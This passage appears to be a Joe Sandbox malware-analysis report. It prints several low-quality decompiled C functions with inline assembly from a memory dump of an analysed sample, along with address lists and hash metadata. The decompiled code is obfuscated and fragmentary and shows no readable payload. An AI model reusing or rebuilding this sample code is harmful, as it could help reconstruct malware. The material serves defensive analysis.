				_t128 = __edx;
				asm("sbb al, 0xb8");
				_t123 = 0x9d;
				_t42 = E00401277(0x2a84, __ebx, __edi, __esi, _t136, __eflags);
				_pop(_t66);
				 *(_t66 + 0x3e) =  *(_t66 + 0x3e) ^ 0x00000012;
				_pop(_t67);
				 *((intOrPtr*)(_t67 + 0x35)) =  *((intOrPtr*)(_t67 + 0x35)) - _t67;
				asm("aaa");
				_t72 = 0x5b5b695b;
				 *((intOrPtr*)(_t72 + 0x3e)) =  *((intOrPtr*)(_t72 + 0x3e)) - 0x12;
				_pop(_t73);
				 *((intOrPtr*)(_t73 + 0x68)) =  *((intOrPtr*)(_t73 + 0x68)) - _t73;
				asm("aaa");
				asm("aaa");
				_t90 = 0x5b5b695b;
				asm("das");
				_t141 = _t140 - 1;
				_t45 = _t42 - 0x2b5b3a5b + 0xdbb726d6 | 0xb3a72ea4;
				_t137 = 0xdea4a4a7;
				asm("wait");
				_push(_t141);
				asm("fild word [eax-0xfa4a4a6]");
				asm("fcomp dword [ebp-0x4f404fb7]");
				_push(_t135);
				_t132 = _t131 -  *0xFFFFFFFFDEA4A4EF;
				_t149 = _t90 ^ _t132;
				if((_t90 ^ _t132) < 0) {
					_pop(_t113);
					_t135 = _t135 +  *((intOrPtr*)(_t45 - 0x4fd534a2));
					asm("scasd");
					asm("salc");
					_t137 = 0xdea4a4a7 - _t132;
					asm("int3");
					 *_t113 =  *_t113 ^ 0xffffffc6;
					asm("rcl byte [edi+0x7f], 1");
					asm("fcomp dword [edi-0x33a14fa1]");
					_t118 = 0xffffffb0;
					asm("movsd");
					asm("clc");
					_t60 = 0xffffffffb19799b2 -  *((intOrPtr*)(0xffffffffb19799b2));
					 *((intOrPtr*)(_t60 - 0x15)) =  *((intOrPtr*)(_t60 - 0x15)) + _t118;
					_t61 = _t60 + 0xf4eb4097;
					asm("movsd");
					_t123 = 0x9a;
					_t45 = E00401277(_t61, _t118, _t132, _t135, _t137, _t149);
					asm("salc");
					asm("fcom dword [esi+0x6b]");
					_t141 = 0x10eba4a4 |  *(_t135 + 0xffffffff8543585e);
				}
				asm("sahf");
				asm("cmpsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a39df54]");
				asm("salc");
				_t142 = _t141 |  *(_t135 + _t137 - 0x590a4c55);
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a10df54]");
				asm("movsb");
				asm("cs cmpsd");
				_push(_t142);
				asm("fisub word [eax+0x5a]");
				asm("salc");
				_t164 = (_t162 - _t128[0x1a]) *  *_t128;
				asm("movsb");
				asm("scasd");
				asm("cmpsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a7fdf54]");
				do {
					_pop(_t129);
					asm("salc");
					_t164 = _t164 +  *_t135;
					asm("movsb");
					 *[cs:0xa4a62bb3] = _t45;
					asm("movsb");
					asm("ficomp word [ebx+0x5a56df54]");
					_t45 = 0x49;
					_t130 = _t129 ^  *0xd05b5b70;
				} while ((_t129 ^  *0xd05b5b70) > 0);
				asm("lahf");
				_pop(_t134);
				asm("fst qword [eax-0x4f074b50]");
				_push(_t135);
				_t155 = _t123 + 1;
				asm("adc dh, [eax-0x2b4c1752]");
				_push(ss);
				gs =  *0x0000007A;
				_push(0x2c1c);
				_t48 =  *_t142;
				asm("adc ch, [edi-0x40]");
				_push(0xab);
				E00401277(_t48, 0x688e1679, _t134, _t135, 0x13eba4a4, _t155);
				_push( *0x13EBA4A0);
				E004019D4();
				_push(0x688e46de);
				_push( *((intOrPtr*)(0x13eba4a0)));
				_t51 = E004025E8(_t134, _t135, _t155); // executed
				_t156 = _t51;
				if(_t51 != 0) {
					if(E00401F34(_t134, _t156,  *((intOrPtr*)(0x13eba4a0))) != 0) {
						L24:
						_t161 = gs;
						if(gs != 0) {
							_t54 = 0x688e6ab7;
							_t126 = 0x2ef8;
						} else {
							_t54 = 0x688e471e;
							_t126 = 0x2399;
						}
						_push( *0x688E99AF);
						_push(_t126);
						_push(_t54);
						_push( *((intOrPtr*)(0x13eba4a0)));
						E0040193B(_t130, _t161);
						_t56 = 0x2c1c;
						_t51 = E00401277(_t56, 0x688e1679, _t134, _t135, 0x13eba4a4, _t161);
					} else {
						_t51 = E00402255(_t164,  *((intOrPtr*)(0x13eba4a0)));
						_t158 = _t51;
						if(_t51 != 0) {
							_push( *((intOrPtr*)(0x13eba4a0)));
							_t51 = L00402321(0x688e1679, _t134, _t135, _t158, _t164);
							_t159 = _t51;
							if(_t51 != 0) {
								_t51 = E00401FF1(_t159, _t164,  *((intOrPtr*)(0x13eba4a0)));
								if(_t51 != 0) {
									goto L24;
								}
							}
						}
					}
				}
				return _t51;
			}

0x00402a5e
0x00402a5e
0x00402a5e
0x00402a5e
0x00402a60
0x00402a73
0x00402a7f
0x00402a88
0x00402a89
0x00402a8c
0x00402a8d
0x00402a93
0x00402a9b
0x00402a9d
0x00402aa0
0x00402aa1
0x00402ac5
0x00402ac7
0x00402ad7
0x00402ad9
0x00402ada
0x00402adb
0x00402ae0
0x00402ae5
0x00402ae6
0x00402ae7
0x00402aed
0x00402af3
0x00402af4
0x00402af7
0x00402af9
0x00402afb
0x00402afc
0x00402b02
0x00402b03
0x00402b06
0x00402b08
0x00402b09
0x00402b0f
0x00402b12
0x00402b23
0x00402b24
0x00402b25
0x00402b2b
0x00402b2d
0x00402b30
0x00402b35
0x00402b3d
0x00402b49
0x00402b4e
0x00402b4f
0x00402b54
0x00402b54
0x00402b59
0x00402b5a
0x00402b5b
0x00402b5c
0x00402b5d
0x00402b65
0x00402b6b
0x00402b72
0x00402b73
0x00402b74
0x00402b7c
0x00402b7d
0x00402b86
0x00402b87
0x00402b8c
0x00402b8d
0x00402b93
0x00402b94
0x00402b98
0x00402b99
0x00402b9a
0x00402b9b
0x00402ba0
0x00402ba0
0x00402ba3
0x00402ba4
0x00402baa
0x00402bab
0x00402bb1
0x00402bb2
0x00402bba
0x00402bbf
0x00402bc5
0x00402bc8
0x00402bc9
0x00402bcc
0x00402bd2
0x00402bde
0x00402bdf
0x00402bec
0x00402bed
0x00402bee
0x00402bf3
0x00402c01
0x00402c05
0x00402c17
0x00402c1c
0x00402c1f
0x00402c2a
0x00402c2b
0x00402c2e
0x00402c33
0x00402c35
0x00402c45
0x00402c6b
0x00402c6e
0x00402c71
0x00402c80
0x00402c86
0x00402c73
0x00402c73
0x00402c79
0x00402c79
0x00402c8b
0x00402c91
0x00402c92
0x00402c93
0x00402c96
0x00402ca7
0x00402cc2
0x00402c47
0x00402c4a
0x00402c4f
0x00402c51
0x00402c53
0x00402c56
0x00402c5b
0x00402c5d
0x00402c62
0x00402c69
0x00000000
0x00000000
0x00402c69
0x00402c5d
0x00402c51
0x00402c45
0x00402cc8

Memory Dump Source

Source File: 0000000C.00000002.806569365.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_8A6B.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9af5754aaf439908cbc9e538bbe29f54eba11fad21307c3261ecff9ebfcf9c97
Instruction ID: 14214452042e6ecbc914254f67d2709232b961f867d8ebf06c643147f3da40d9
Opcode Fuzzy Hash: 9af5754aaf439908cbc9e538bbe29f54eba11fad21307c3261ecff9ebfcf9c97
Instruction Fuzzy Hash: 5151443200D141DEEB00AE64AEDA5AAFB64FF15378B3001B7DC416E1E6C37A5646DA1A

Uniqueness

Uniqueness Score: -1.00%

Function 00402A68, Relevance: .2, Instructions: 218
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 33%

			E00402A68(void* __ebx, void* __edi, intOrPtr* __esi, void* __eflags, void* __fp0) {
				void* _t42;
				signed int _t45;
				void* _t48;
				void* _t51;
				void* _t54;
				void* _t56;
				void* _t60;
				void* _t61;
				void* _t66;
				void* _t67;
				void* _t72;
				void* _t73;
				signed int _t90;
				signed int* _t113;
				void* _t118;
				void* _t121;
				void* _t124;
				signed int _t127;
				void* _t129;
				signed int _t130;
				void* _t132;
				intOrPtr* _t133;
				void* _t134;
				void* _t138;
				signed int _t139;
				signed int _t140;
				void* _t153;
				void* _t160;
				signed long long _t162;

				_t160 = __fp0;
				_t133 = __esi;
				_t129 = __edi;
				_t121 = 0x9d;
				_t42 = E00401277(0x2a84, __ebx, __edi, __esi, _t134, __eflags);
				_pop(_t66);
				 *(_t66 + 0x3e) =  *(_t66 + 0x3e) ^ 0x00000012;
				_pop(_t67);
				 *((intOrPtr*)(_t67 + 0x35)) =  *((intOrPtr*)(_t67 + 0x35)) - _t67;
				asm("aaa");
				_t72 = 0x5b5b695b;
				 *((intOrPtr*)(_t72 + 0x3e)) =  *((intOrPtr*)(_t72 + 0x3e)) - 0x12;
				_pop(_t73);
				 *((intOrPtr*)(_t73 + 0x68)) =  *((intOrPtr*)(_t73 + 0x68)) - _t73;
				asm("aaa");
				asm("aaa");
				_t90 = 0x5b5b695b;
				asm("das");
				_t139 = _t138 - 1;
				_t45 = _t42 - 0x2b5b3a5b + 0xdbb726d6 | 0xb3a72ea4;
				_t135 = 0xdea4a4a7;
				asm("wait");
				_push(_t139);
				asm("fild word [eax-0xfa4a4a6]");
				asm("fcomp dword [ebp-0x4f404fb7]");
				_push(_t133);
				_t130 = _t129 -  *0xFFFFFFFFDEA4A4EF;
				_t147 = _t90 ^ _t130;
				if((_t90 ^ _t130) < 0) {
					_pop(_t113);
					_t133 = _t133 +  *((intOrPtr*)(_t45 - 0x4fd534a2));
					asm("scasd");
					asm("salc");
					_t135 = 0xdea4a4a7 - _t130;
					asm("int3");
					 *_t113 =  *_t113 ^ 0xffffffc6;
					asm("rcl byte [edi+0x7f], 1");
					asm("fcomp dword [edi-0x33a14fa1]");
					_t118 = 0xffffffb0;
					asm("movsd");
					asm("clc");
					_t60 = 0xffffffffb19799b2 -  *((intOrPtr*)(0xffffffffb19799b2));
					 *((intOrPtr*)(_t60 - 0x15)) =  *((intOrPtr*)(_t60 - 0x15)) + _t118;
					_t61 = _t60 + 0xf4eb4097;
					asm("movsd");
					_t121 = 0x9a;
					_t45 = E00401277(_t61, _t118, _t130, _t133, _t135, _t147);
					asm("salc");
					asm("fcom dword [esi+0x6b]");
					_t139 = 0x10eba4a4 |  *(_t133 + 0xffffffff8543585e);
				}
				asm("sahf");
				asm("cmpsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a39df54]");
				asm("salc");
				_t140 = _t139 |  *(_t133 + _t135 - 0x590a4c55);
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a10df54]");
				asm("movsb");
				asm("cs cmpsd");
				_push(_t140);
				asm("fisub word [eax+0x5a]");
				asm("salc");
				_t162 = (_t160 -  *0x000000F7) *  *0x8c;
				asm("movsb");
				asm("scasd");
				asm("cmpsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a7fdf54]");
				do {
					_pop(_t127);
					asm("salc");
					_t162 = _t162 +  *_t133;
					asm("movsb");
					 *[cs:0xa4a62bb3] = _t45;
					asm("movsb");
					asm("ficomp word [ebx+0x5a56df54]");
					_t45 = 0x49;
					_t128 = _t127 ^  *0xd05b5b70;
				} while ((_t127 ^  *0xd05b5b70) > 0);
				asm("lahf");
				_pop(_t132);
				asm("fst qword [eax-0x4f074b50]");
				_push(_t133);
				_t153 = _t121 + 1;
				asm("adc dh, [eax-0x2b4c1752]");
				_push(ss);
				gs =  *0x0000007A;
				_push(0x2c1c);
				_t48 =  *_t140;
				asm("adc ch, [edi-0x40]");
				_push(0xab);
				E00401277(_t48, 0x688e1679, _t132, _t133, 0x13eba4a4, _t153);
				_push( *0x13EBA4A0);
				E004019D4();
				_push(0x688e46de);
				_push( *((intOrPtr*)(0x13eba4a0)));
				_t51 = E004025E8(_t132, _t133, _t153); // executed
				_t154 = _t51;
				if(_t51 != 0) {
					if(E00401F34(_t132, _t154,  *((intOrPtr*)(0x13eba4a0))) != 0) {
						L25:
						_t159 = gs;
						if(gs != 0) {
							_t54 = 0x688e6ab7;
							_t124 = 0x2ef8;
						} else {
							_t54 = 0x688e471e;
							_t124 = 0x2399;
						}
						_push( *0x688E99AF);
						_push(_t124);
						_push(_t54);
						_push( *((intOrPtr*)(0x13eba4a0)));
						E0040193B(_t128, _t159);
						_t56 = 0x2c1c;
						_t51 = E00401277(_t56, 0x688e1679, _t132, _t133, 0x13eba4a4, _t159);
					} else {
						_t51 = E00402255(_t162,  *((intOrPtr*)(0x13eba4a0)));
						_t156 = _t51;
						if(_t51 != 0) {
							_push( *((intOrPtr*)(0x13eba4a0)));
							_t51 = L00402321(0x688e1679, _t132, _t133, _t156, _t162);
							_t157 = _t51;
							if(_t51 != 0) {
								_t51 = E00401FF1(_t157, _t162,  *((intOrPtr*)(0x13eba4a0)));
								if(_t51 != 0) {
									goto L25;
								}
							}
						}
					}
				}
				return _t51;
			}

0x00402a68
0x00402a68
0x00402a68
0x00402a73
0x00402a7f
0x00402a88
0x00402a89
0x00402a8c
0x00402a8d
0x00402a93
0x00402a9b
0x00402a9d
0x00402aa0
0x00402aa1
0x00402ac5
0x00402ac7
0x00402ad7
0x00402ad9
0x00402ada
0x00402adb
0x00402ae0
0x00402ae5
0x00402ae6
0x00402ae7
0x00402aed
0x00402af3
0x00402af4
0x00402af7
0x00402af9
0x00402afb
0x00402afc
0x00402b02
0x00402b03
0x00402b06
0x00402b08
0x00402b09
0x00402b0f
0x00402b12
0x00402b23
0x00402b24
0x00402b25
0x00402b2b
0x00402b2d
0x00402b30
0x00402b35
0x00402b3d
0x00402b49
0x00402b4e
0x00402b4f
0x00402b54
0x00402b54
0x00402b59
0x00402b5a
0x00402b5b
0x00402b5c
0x00402b5d
0x00402b65
0x00402b6b
0x00402b72
0x00402b73
0x00402b74
0x00402b7c
0x00402b7d
0x00402b86
0x00402b87
0x00402b8c
0x00402b8d
0x00402b93
0x00402b94
0x00402b98
0x00402b99
0x00402b9a
0x00402b9b
0x00402ba0
0x00402ba0
0x00402ba3
0x00402ba4
0x00402baa
0x00402bab
0x00402bb1
0x00402bb2
0x00402bba
0x00402bbf
0x00402bc5
0x00402bc8
0x00402bc9
0x00402bcc
0x00402bd2
0x00402bde
0x00402bdf
0x00402bec
0x00402bed
0x00402bee
0x00402bf3
0x00402c01
0x00402c05
0x00402c17
0x00402c1c
0x00402c1f
0x00402c2a
0x00402c2b
0x00402c2e
0x00402c33
0x00402c35
0x00402c45
0x00402c6b
0x00402c6e
0x00402c71
0x00402c80
0x00402c86
0x00402c73
0x00402c73
0x00402c79
0x00402c79
0x00402c8b
0x00402c91
0x00402c92
0x00402c93
0x00402c96
0x00402ca7
0x00402cc2
0x00402c47
0x00402c4a
0x00402c4f
0x00402c51
0x00402c53
0x00402c56
0x00402c5b
0x00402c5d
0x00402c62
0x00402c69
0x00000000
0x00000000
0x00402c69
0x00402c5d
0x00402c51
0x00402c45
0x00402cc8

Memory Dump Source

Source File: 0000000C.00000002.806569365.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_8A6B.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5ce9d8f38c6a1832c1f617ca6f2b2dbab99815177e54b5282bbfeaab51e76cd
Instruction ID: 82ad2b52174684eab274c82477a3a8af7fb59672a5e0ddff72ba5353dc29b957
Opcode Fuzzy Hash: e5ce9d8f38c6a1832c1f617ca6f2b2dbab99815177e54b5282bbfeaab51e76cd
Instruction Fuzzy Hash: 11514332109101DEEB00AE64AFDA9AAF764FF15378B3001B7DC416E1E6C37B5646DA1A

Uniqueness

Uniqueness Score: -1.00%

Function 00402A6C, Relevance: .2, Instructions: 216
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 34%

			E00402A6C(unsigned int __ebx, signed int* __edx, void* __edi, intOrPtr* __esi, void* __fp0) {
				void* _t41;
				void* _t42;
				signed int _t45;
				void* _t48;
				void* _t51;
				void* _t54;
				void* _t56;
				void* _t60;
				void* _t61;
				void* _t67;
				void* _t68;
				void* _t73;
				void* _t74;
				signed int _t91;
				signed int* _t114;
				void* _t119;
				void* _t122;
				void* _t125;
				signed int* _t127;
				signed int _t128;
				void* _t130;
				signed int _t131;
				void* _t133;
				intOrPtr* _t134;
				void* _t135;
				void* _t139;
				signed int _t140;
				signed int _t141;
				unsigned int _t146;
				void* _t154;
				void* _t161;
				signed long long _t163;

				_t161 = __fp0;
				_t134 = __esi;
				_t130 = __edi;
				_t127 = __edx;
				_t63 = __ebx >> 0xd;
				_t146 = __ebx >> 0xd;
				_t122 = 0x9d;
				_t42 = E00401277(_t41, _t63, __edi, __esi, _t135, _t146);
				_pop(_t67);
				 *(_t67 + 0x3e) =  *(_t67 + 0x3e) ^ 0x00000012;
				_pop(_t68);
				 *((intOrPtr*)(_t68 + 0x35)) =  *((intOrPtr*)(_t68 + 0x35)) - _t68;
				asm("aaa");
				_t73 = 0x5b5b695b;
				 *((intOrPtr*)(_t73 + 0x3e)) =  *((intOrPtr*)(_t73 + 0x3e)) - 0x12;
				_pop(_t74);
				 *((intOrPtr*)(_t74 + 0x68)) =  *((intOrPtr*)(_t74 + 0x68)) - _t74;
				asm("aaa");
				asm("aaa");
				_t91 = 0x5b5b695b;
				asm("das");
				_t140 = _t139 - 1;
				_t45 = _t42 - 0x2b5b3a5b + 0xdbb726d6 | 0xb3a72ea4;
				_t136 = 0xdea4a4a7;
				asm("wait");
				_push(_t140);
				asm("fild word [eax-0xfa4a4a6]");
				asm("fcomp dword [ebp-0x4f404fb7]");
				_push(_t134);
				_t131 = _t130 -  *0xFFFFFFFFDEA4A4EF;
				_t148 = _t91 ^ _t131;
				if((_t91 ^ _t131) < 0) {
					_pop(_t114);
					_t134 = _t134 +  *((intOrPtr*)(_t45 - 0x4fd534a2));
					asm("scasd");
					asm("salc");
					_t136 = 0xdea4a4a7 - _t131;
					asm("int3");
					 *_t114 =  *_t114 ^ 0xffffffc6;
					asm("rcl byte [edi+0x7f], 1");
					asm("fcomp dword [edi-0x33a14fa1]");
					_t119 = 0xffffffb0;
					asm("movsd");
					asm("clc");
					_t60 = 0xffffffffb19799b2 -  *((intOrPtr*)(0xffffffffb19799b2));
					 *((intOrPtr*)(_t60 - 0x15)) =  *((intOrPtr*)(_t60 - 0x15)) + _t119;
					_t61 = _t60 + 0xf4eb4097;
					asm("movsd");
					_t122 = 0x9a;
					_t45 = E00401277(_t61, _t119, _t131, _t134, _t136, _t148);
					asm("salc");
					asm("fcom dword [esi+0x6b]");
					_t140 = 0x10eba4a4 |  *(_t134 + 0xffffffff8543585e);
				}
				asm("sahf");
				asm("cmpsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a39df54]");
				asm("salc");
				_t141 = _t140 |  *(_t134 + _t136 - 0x590a4c55);
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a10df54]");
				asm("movsb");
				asm("cs cmpsd");
				_push(_t141);
				asm("fisub word [eax+0x5a]");
				asm("salc");
				_t163 = (_t161 - _t127[0x1a]) *  *_t127;
				asm("movsb");
				asm("scasd");
				asm("cmpsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a7fdf54]");
				do {
					_pop(_t128);
					asm("salc");
					_t163 = _t163 +  *_t134;
					asm("movsb");
					 *[cs:0xa4a62bb3] = _t45;
					asm("movsb");
					asm("ficomp word [ebx+0x5a56df54]");
					_t45 = 0x49;
					_t129 = _t128 ^  *0xd05b5b70;
				} while ((_t128 ^  *0xd05b5b70) > 0);
				asm("lahf");
				_pop(_t133);
				asm("fst qword [eax-0x4f074b50]");
				_push(_t134);
				_t154 = _t122 + 1;
				asm("adc dh, [eax-0x2b4c1752]");
				_push(ss);
				gs =  *0x0000007A;
				_push(0x2c1c);
				_t48 =  *_t141;
				asm("adc ch, [edi-0x40]");
				_push(0xab);
				E00401277(_t48, 0x688e1679, _t133, _t134, 0x13eba4a4, _t154);
				_push( *0x13EBA4A0);
				E004019D4();
				_push(0x688e46de);
				_push( *((intOrPtr*)(0x13eba4a0)));
				_t51 = E004025E8(_t133, _t134, _t154); // executed
				_t155 = _t51;
				if(_t51 != 0) {
					if(E00401F34(_t133, _t155,  *((intOrPtr*)(0x13eba4a0))) != 0) {
						L23:
						_t160 = gs;
						if(gs != 0) {
							_t54 = 0x688e6ab7;
							_t125 = 0x2ef8;
						} else {
							_t54 = 0x688e471e;
							_t125 = 0x2399;
						}
						_push( *0x688E99AF);
						_push(_t125);
						_push(_t54);
						_push( *((intOrPtr*)(0x13eba4a0)));
						E0040193B(_t129, _t160);
						_t56 = 0x2c1c;
						_t51 = E00401277(_t56, 0x688e1679, _t133, _t134, 0x13eba4a4, _t160);
					} else {
						_t51 = E00402255(_t163,  *((intOrPtr*)(0x13eba4a0)));
						_t157 = _t51;
						if(_t51 != 0) {
							_push( *((intOrPtr*)(0x13eba4a0)));
							_t51 = L00402321(0x688e1679, _t133, _t134, _t157, _t163);
							_t158 = _t51;
							if(_t51 != 0) {
								_t51 = E00401FF1(_t158, _t163,  *((intOrPtr*)(0x13eba4a0)));
								if(_t51 != 0) {
									goto L23;
								}
							}
						}
					}
				}
				return _t51;
			}

0x00402a6c
0x00402a6c
0x00402a6c
0x00402a6c
0x00402a6c
0x00402a6c
0x00402a73
0x00402a7f
0x00402a88
0x00402a89
0x00402a8c
0x00402a8d
0x00402a93
0x00402a9b
0x00402a9d
0x00402aa0
0x00402aa1
0x00402ac5
0x00402ac7
0x00402ad7
0x00402ad9
0x00402ada
0x00402adb
0x00402ae0
0x00402ae5
0x00402ae6
0x00402ae7
0x00402aed
0x00402af3
0x00402af4
0x00402af7
0x00402af9
0x00402afb
0x00402afc
0x00402b02
0x00402b03
0x00402b06
0x00402b08
0x00402b09
0x00402b0f
0x00402b12
0x00402b23
0x00402b24
0x00402b25
0x00402b2b
0x00402b2d
0x00402b30
0x00402b35
0x00402b3d
0x00402b49
0x00402b4e
0x00402b4f
0x00402b54
0x00402b54
0x00402b59
0x00402b5a
0x00402b5b
0x00402b5c
0x00402b5d
0x00402b65
0x00402b6b
0x00402b72
0x00402b73
0x00402b74
0x00402b7c
0x00402b7d
0x00402b86
0x00402b87
0x00402b8c
0x00402b8d
0x00402b93
0x00402b94
0x00402b98
0x00402b99
0x00402b9a
0x00402b9b
0x00402ba0
0x00402ba0
0x00402ba3
0x00402ba4
0x00402baa
0x00402bab
0x00402bb1
0x00402bb2
0x00402bba
0x00402bbf
0x00402bc5
0x00402bc8
0x00402bc9
0x00402bcc
0x00402bd2
0x00402bde
0x00402bdf
0x00402bec
0x00402bed
0x00402bee
0x00402bf3
0x00402c01
0x00402c05
0x00402c17
0x00402c1c
0x00402c1f
0x00402c2a
0x00402c2b
0x00402c2e
0x00402c33
0x00402c35
0x00402c45
0x00402c6b
0x00402c6e
0x00402c71
0x00402c80
0x00402c86
0x00402c73
0x00402c73
0x00402c79
0x00402c79
0x00402c8b
0x00402c91
0x00402c92
0x00402c93
0x00402c96
0x00402ca7
0x00402cc2
0x00402c47
0x00402c4a
0x00402c4f
0x00402c51
0x00402c53
0x00402c56
0x00402c5b
0x00402c5d
0x00402c62
0x00402c69
0x00000000
0x00000000
0x00402c69
0x00402c5d
0x00402c51
0x00402c45
0x00402cc8

Memory Dump Source

Source File: 0000000C.00000002.806569365.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_8A6B.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5eb334b091ada3894d7bc2550cdcc7fd4771e28d89526815cda72f1da41a8dec
Instruction ID: ac3f9a48b8241fa4787baba6bb88e996d90e4b1d5655853c31ab7ffc92292063
Opcode Fuzzy Hash: 5eb334b091ada3894d7bc2550cdcc7fd4771e28d89526815cda72f1da41a8dec
Instruction Fuzzy Hash: 6251543200A101DFEB00AF64AEDA5AAFB64FF15378B3401A7DC416E1E2D37B5642DA56

Uniqueness

Uniqueness Score: -1.00%

Function 00402B38, Relevance: .1, Instructions: 135
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 30%

			E00402B38(signed int* __edx, void* __edi, intOrPtr* __esi, void* __fp0) {
				void* _t25;
				intOrPtr _t26;
				void* _t29;
				void* _t32;
				void* _t35;
				void* _t37;
				void* _t65;
				signed int* _t67;
				signed int _t68;
				void* _t73;
				intOrPtr* _t74;
				void* _t75;
				signed int _t78;
				signed int _t79;
				signed int _t80;
				void* _t84;
				signed long long _t99;

				_t74 = __esi;
				_t67 = __edx;
				_t71 = __edi + 1;
				_t84 = __edi + 1;
				asm("das");
				asm("a16 scasb");
				_t26 = E00401277(_t25, 0x9ab9, _t71, __esi, _t75, _t84);
				asm("salc");
				asm("fcom dword [esi+0x6b]");
				_t79 = _t78 |  *(_t74 + _t75 - 0x59614c49);
				asm("sahf");
				asm("cmpsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a39df54]");
				asm("salc");
				_t80 = _t79 |  *(_t74 + _t75 - 0x590a4c55);
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a10df54]");
				asm("movsb");
				asm("cs cmpsd");
				_push(_t80);
				asm("fisub word [eax+0x5a]");
				asm("salc");
				_t99 = (__fp0 - _t67[0x1a]) *  *_t67;
				asm("movsb");
				asm("scasd");
				asm("cmpsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a7fdf54]");
				do {
					_pop(_t68);
					asm("salc");
					_t99 = _t99 +  *_t74;
					asm("movsb");
					 *[cs:0xa4a62bb3] = _t26;
					asm("movsb");
					asm("ficomp word [ebx+0x5a56df54]");
					_t26 = 0x49;
					_t69 = _t68 ^  *0xd05b5b70;
				} while ((_t68 ^  *0xd05b5b70) > 0);
				asm("lahf");
				_pop(_t73);
				asm("fst qword [eax-0x4f074b50]");
				_push(_t74);
				asm("adc dh, [eax-0x2b4c1752]");
				_push(ss);
				gs =  *0x0000007A;
				_push(0x2c1c);
				_t29 =  *_t80;
				asm("adc ch, [edi-0x40]");
				_push(0xab);
				E00401277(_t29, 0x688e1679, _t73, _t74, 0x13eba4a4, 0x9b);
				_push( *0x13EBA4A0);
				E004019D4();
				_push(0x688e46de);
				_push( *((intOrPtr*)(0x13eba4a0)));
				_t32 = E004025E8(_t73, _t74, 0x9b); // executed
				_t91 = _t32;
				if(_t32 != 0) {
					if(E00401F34(_t73, _t91,  *((intOrPtr*)(0x13eba4a0))) != 0) {
						L17:
						_t96 = gs;
						if(gs != 0) {
							_t35 = 0x688e6ab7;
							_t65 = 0x2ef8;
						} else {
							_t35 = 0x688e471e;
							_t65 = 0x2399;
						}
						_push( *0x688E99AF);
						_push(_t65);
						_push(_t35);
						_push( *((intOrPtr*)(0x13eba4a0)));
						E0040193B(_t69, _t96);
						_t37 = 0x2c1c;
						_t32 = E00401277(_t37, 0x688e1679, _t73, _t74, 0x13eba4a4, _t96);
					} else {
						_t32 = E00402255(_t99,  *((intOrPtr*)(0x13eba4a0)));
						_t93 = _t32;
						if(_t32 != 0) {
							_push( *((intOrPtr*)(0x13eba4a0)));
							_t32 = L00402321(0x688e1679, _t73, _t74, _t93, _t99);
							_t94 = _t32;
							if(_t32 != 0) {
								_t32 = E00401FF1(_t94, _t99,  *((intOrPtr*)(0x13eba4a0)));
								if(_t32 != 0) {
									goto L17;
								}
							}
						}
					}
				}
				return _t32;
			}

0x00402b38
0x00402b38
0x00402b38
0x00402b38
0x00402b39
0x00402b3a
0x00402b49
0x00402b4e
0x00402b4f
0x00402b54
0x00402b59
0x00402b5a
0x00402b5b
0x00402b5c
0x00402b5d
0x00402b65
0x00402b6b
0x00402b72
0x00402b73
0x00402b74
0x00402b7c
0x00402b7d
0x00402b86
0x00402b87
0x00402b8c
0x00402b8d
0x00402b93
0x00402b94
0x00402b98
0x00402b99
0x00402b9a
0x00402b9b
0x00402ba0
0x00402ba0
0x00402ba3
0x00402ba4
0x00402baa
0x00402bab
0x00402bb1
0x00402bb2
0x00402bba
0x00402bbf
0x00402bc5
0x00402bc8
0x00402bc9
0x00402bcc
0x00402bd2
0x00402bdf
0x00402bec
0x00402bed
0x00402bee
0x00402bf3
0x00402c01
0x00402c05
0x00402c17
0x00402c1c
0x00402c1f
0x00402c2a
0x00402c2b
0x00402c2e
0x00402c33
0x00402c35
0x00402c45
0x00402c6b
0x00402c6e
0x00402c71
0x00402c80
0x00402c86
0x00402c73
0x00402c73
0x00402c79
0x00402c79
0x00402c8b
0x00402c91
0x00402c92
0x00402c93
0x00402c96
0x00402ca7
0x00402cc2
0x00402c47
0x00402c4a
0x00402c4f
0x00402c51
0x00402c53
0x00402c56
0x00402c5b
0x00402c5d
0x00402c62
0x00402c69
0x00000000
0x00000000
0x00402c69
0x00402c5d
0x00402c51
0x00402c45
0x00402cc8

Memory Dump Source

Source File: 0000000C.00000002.806569365.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_8A6B.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2f51a1350f02f31ca673438723fbeaec66e0bac50b46ce53ae83f4c302164230
Instruction ID: 3e85d14ce6c36aa09c03589aa9c8c3521ff663fa5e1e86b555b0dc280717ecfe
Opcode Fuzzy Hash: 2f51a1350f02f31ca673438723fbeaec66e0bac50b46ce53ae83f4c302164230
Instruction Fuzzy Hash: 17412A31109101EFFB01AB51DF8A5AEB775FF19368B2000BBDC417A1D2D77E5A05DA16

Uniqueness

